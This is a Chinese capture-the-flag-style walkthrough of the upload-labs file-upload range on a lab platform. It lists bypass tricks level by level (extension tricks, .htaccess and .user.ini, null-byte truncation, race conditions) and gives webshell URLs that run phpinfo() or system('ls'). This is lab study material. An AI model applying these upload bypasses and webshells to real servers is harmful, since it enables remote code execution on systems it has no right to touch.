涵盖极广的常见且实用的文件上传漏洞利用技巧,收集了渗透测试和CTF中遇到的各种上传漏洞,涵盖文件上传的所有基本的利用技巧,旨在帮助大家对上传漏洞有一个全面的了解。
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。
谜团靶机平台地址:https://mituan.zone/
注册选择靶机
注册登录之后可以看到有很多靶机,选择本次的目标-文件上传。
遇到不符合常理的问题可以点清空上传文件试试。
图片马
gif格式的图片马,使用16进制打开文件,从第四行开始修改。
jpg格式的图片马,直接合并即可。
文件如下:
Pass-01 JS验证
通过前端JS验证,抓包改后缀。
上传完成后,访问图片地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php?8=phpinfo();
。
Pass-02 Content-type
上传图片马,抓包改后缀。
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php?8=phpinfo();
Pass-03 构造后缀
- 后缀改成php3、phtml都行
http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/202101090941268782.php3?8=phpinfo();
http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/202101090942151590.phtml?8=phpinfo();
Pass-04 htaccess
.htaccess文件生效前提条件为1.mod_rewrite模块开启。2.AllowOverride All
后缀156的文件当作php来解析。
访问http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.156?8=phpinfo();
Pass-05 多后缀|.user.ini
上传1.PhP.7z或者改文件名1.php.7z都可以。【只要中间后缀含可执行后缀如php,php3,PhP3等均可执行】
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/1.PhP.7z?8=phpinfo();
- .user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
上传.user.iniauto_prepend_file=test.jpg
,线上好像不行,下图为本地测试(PHP_NTS_Apache)(参考:https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html)、.user.ini上传详解附CTF例题。
Pass-06 大小写
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/202101090952599009.PhP?8=phpinfo();
Pass-07 空格
在Win(会忽略扩展名的空格)上可以解析,因为靶场是Linux,故无法解析。
Pass-08 点绕过
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php.?8=phpinfo();
Pass-09 文件流
在Win(会忽略文件流)上可以解析,因为靶场是Linux,故无法解析。
Pass-10 构造后缀
2.php.jpg也可以。
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php.?8=phpinfo();
Pass-11 后缀双写
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/2.php?8=phpinfo();
Pass-12 GET截断
利用PHP V5.2存在截断漏洞,访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/12.php?8=phpinfo();
Pass-13 POST截断
在HEX模式下将a的16进制值61修改为00。
回到RAW模式,发现出现了乱码,不用管,放行数据包。
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/13.php?8=phpinfo();
Pass-14 文件头
直接上传图片马,未抓包,下载上传的图片,发现一句话还存在即可。
Pass-15 函数判断后缀
上传图片马后,下载下来验证是否还有一句话。
Pass-16 php_exif判断后缀
上传图片马后,下载下来验证是否还有一句话。
Pass-17 二次渲染
上传gif图片马后,下载下来验证是否还有一句话。jpg的比较难做。
Pass-18 条件竞争
先上传文件,然后再判断是否合法。我们可以利用PHP程序的这个反应间隙用文件写入函数生成一句话。
抓取上传包:
抓取访问包(就当文件存在):http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/file.php
然后进行参数设置。
上传包:
访问包:
最后一起暴力发包。
跑了10W个数据包,一个200状态码的都没有,果断放弃了,不过在另外一个文件上传靶场一次就成功了。
Pass-19 条件竞争
同上也是失败,这一关其他靶场也没有成功过。
Pass-20 POST截断
方式同13关,13关改的目录,20关改的文件名。
或者
或者
Pass-21 构造数组
代码分析:
构造数组:
访问地址:http://90951ba6794b4ed1926aef5d113d5c5f.app.mituan.zone/upload/21.php.?8=system('ls');
销毁靶机
第5关明明完成了啊,18、19关的条件竞争失败。
参考:
文件上传之靶场upload-labs(11-20):https://www.cnblogs.com/heguoze/p/12008849.html
构造优质上传漏洞fuzz字典:https://gv7.me/articles/2018/make-upload-vul-fuzz-dic/